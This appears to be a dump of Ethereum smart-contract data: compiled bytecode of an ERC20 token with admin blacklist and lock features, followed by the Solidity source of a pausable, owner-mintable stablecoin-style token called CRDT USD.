0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d6919146108b2578063dd62ed3e1461090c578063df698fc914610984578063f2fde38b146109c857610173565b806395d89b4114610767578063a457c2d7146107ea578063a9059cbb1461084e57610173565b806370a08231146105aa578063715018a6146106025780637238ccdb1461060c578063787f02331461066b57806384d5d944146106c55780638da5cb5b1461073357610173565b8063313ce56711610130578063313ce567146103b557806339509351146103d65780633d72d6831461043a57806352a97d521461049e578063569abd8d146104f85780635e558d221461053c57610173565b806306fdde0314610178578063095ea7b3146101fb57806318160ddd1461025f57806319f9a20f1461027d57806323b872dd146102d757806324d7806c1461035b575b600080fd5b610180610a0c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aae565b60405180821515815260200191505060405180910390f35b610267610acc565b6040518082815260200191505060405180910390f35b6102bf6004803603602081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b60405180821515815260200191505060405180910390f35b610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9a565b60405180821515815260200191505060405180910390f35b61039d6004803603602081101561037157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c73565b60405180821515815260200191505060405180910390f35b6103bd610cc9565b604051808260ff16815260200191505060405180910390f35b610422600480360360408110156103ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b60405180821515815260200191505060405180910390f35b6104866004803603604081101561045057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d93565b60405180821515815260200191505060405180910390f35b6104e0600480360360208110156104b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e73565b60405180821515815260200191505060405180910390f35b61053a6004803603602081101561050e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f51565b005b6105926004803603606081101561055257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506111a5565b60405180821515815260200191505060405180910390f35b6105ec600480360360208110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061126d565b6040518082815260200191505060405180910390f35b61060a6112b5565b005b61064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611440565b604051808381526020018281526020019250505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b61071b600480360360608110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611592565b60405180821515815260200191505060405180910390f35b61073b61166c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61076f611696565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107af578082015181840152602081019050610794565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108366004803603604081101561080057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b61089a6004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611805565b60405180821515815260200191505060405180910390f35b6108f4600480360360208110156108c857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611823565b60405180821515815260200191505060405180910390f35b61096e6004803603604081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611879565b6040518082815260200191505060405180910390f35b6109c66004803603602081101561099a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b005b610a0a600480360360208110156109de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aa45780601f10610a7957610100808354040283529160200191610aa4565b820191906000526020600020905b815481529060010190602001808311610a8757829003601f168201915b5050505050905090565b6000610ac2610abb611e09565b8484611e11565b6001905092915050565b6000600554905090565b60006001151560026000610ae8611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b610b9182612008565b60019050919050565b6000610ba784848461214c565b610c6884610bb3611e09565b610c638560405180606001604052806028815260200161330660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c19611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b600190509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600860009054906101000a900460ff16905090565b6000610d89610ced611e09565b84610d848560046000610cfe611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b611e11565b6001905092915050565b6000610d9d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610e69838361295d565b6001905092915050565b6000610e7d611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f4882612b21565b60019050919050565b610f59611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e06021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561114a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132886026913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600060011515600260006111b7611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b611262848484612cf1565b600190509392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6112bd611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000806000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050806001015442111561149f5760008092509250506114af565b8060000154816001015492509250505b915091565b60006114be611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61158982612f2c565b60019050919050565b600060011515600260006115a4611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806132de6028913960400191505060405180910390fd5b61165661164f611e09565b858561214c565b611661848484612cf1565b600190509392505050565b6000600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561172e5780601f106117035761010080835404028352916020019161172e565b820191906000526020600020905b81548152906001019060200180831161171157829003601f168201915b5050505050905090565b60006117fb611745611e09565b846117f6856040518060600160405280602581526020016133bb602591396004600061176f611e09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b611e11565b6001905092915050565b6000611819611812611e09565b848461214c565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611908611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611a90576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f776e61626c653a2061646472657373206973206e6f742061646d696e00000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806132626026913960400191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611b79611e09565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131d26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806133746024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806131f86022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b60008160010181905550600081600001819055506000808373ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a45050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061334f6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061316a6023913960400191505060405180910390fd5b60001515600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2073656e6465722061646472657373200000000000000000000081525060200191505060405180910390fd5b61236c84848461311a565b6000816000015411156126f15780600101544211156124de5760008160010181905550600081600001819055506124048260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612497826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ec565b600061254f826000015460405180606001604052806022815260200161321a602291396000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b905061257e8360405180606001604052806026815260200161323c602691398361289d9092919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061261582600001546000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126a8836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b612832565b61275c8260405180606001604052806026815260200161323c602691396000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600083831115829061294a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561290f5780820151818401526020810190506128f4565b50505050905090810190601f16801561293c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061332e6021913960400191505060405180910390fd5b6129ef8260008361311a565b612a5a816040518060600160405280602281526020016131b0602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289d9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab18160055461311f90919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600115158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612dd7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2043616e2774206c6f636b207a65726f2061646472657373000081525060200191505060405180910390fd5b612dee838260000154611d8190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612e84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806132ae6030913960400191505060405180910390fd5b60008160010154118015612e9b5750806001015442115b15612eb55760008160010181905550600081600001819055505b818160010181905550612ed5838260000154611d8190919063ffffffff16565b81600001819055508181600001548573ffffffffffffffffffffffffffffffffffffffff167fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558060405160405180910390a450505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612fb2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806133986023913960400191505060405180910390fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514613078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f45524332303a2041646472657373206e6f7420626c61636b6c6973746564000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600015158173ffffffffffffffffffffffffffffffffffffffff167f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c260405160405180910390a350565b505050565b600061316183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061289d565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea264697066735822122095b743d30d35d52766b26392ca40149f3192fd5223b21c7da452ec47e529dd0864736f6c63430007030033
{"success": true, "error": null, "results": {}}
9,591
0xF5b574aAf22F8bbad4A8f544C6599482f88E8231
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* INTERFACE ERC20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event TransferFrom(address indexed from, address indexed to, uint256 value); } /** * Context */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } //SAFE MATH library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } //OWNABLE abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract Pausable is Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () { _paused = false; } function paused() public view virtual returns (bool) { return _paused; } modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } function pause() public virtual whenNotPaused onlyOwner { _paused = true; emit Paused(_msgSender()); } function unpause() public virtual whenPaused onlyOwner { _paused = false; emit Unpaused(_msgSender()); } } /** * TOKEN ERC20 */ contract ERC20 is Context, IERC20, Pausable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; event Redeem(address owner, uint amount); constructor () { _name = "CRDT USD"; _symbol = "SCRDT"; _totalSupply = 0; } function pay() public payable {} function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public whenNotPaused virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public whenNotPaused virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public whenNotPaused virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); currentAllowance = currentAllowance.sub(amount); _approve(sender, _msgSender(), currentAllowance); emit TransferFrom(sender, recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public whenNotPaused virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public whenNotPaused virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); currentAllowance = currentAllowance.sub(subtractedValue); _approve(_msgSender(), spender, currentAllowance); return true; } function mint(uint amount, address recepient) external onlyOwner whenNotPaused returns(bool) { require(amount > 0, "ERC20: Amount must be greater than 0"); _mint(recepient, amount); return true; } function redeem(uint256 amount) external onlyOwner whenNotPaused returns (bool) { require(_totalSupply >= amount, "ERC20: Totalsupply cannot be greater than the amount"); require(_balances[_msgSender()] >= amount, "ERC20: The amount is greater than the balance"); _totalSupply = _totalSupply.sub(amount); _balances[_msgSender()] = _balances[_msgSender()].sub(amount); emit Redeem(_msgSender(), amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); senderBalance = senderBalance.sub(amount); _balances[sender] = senderBalance; _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
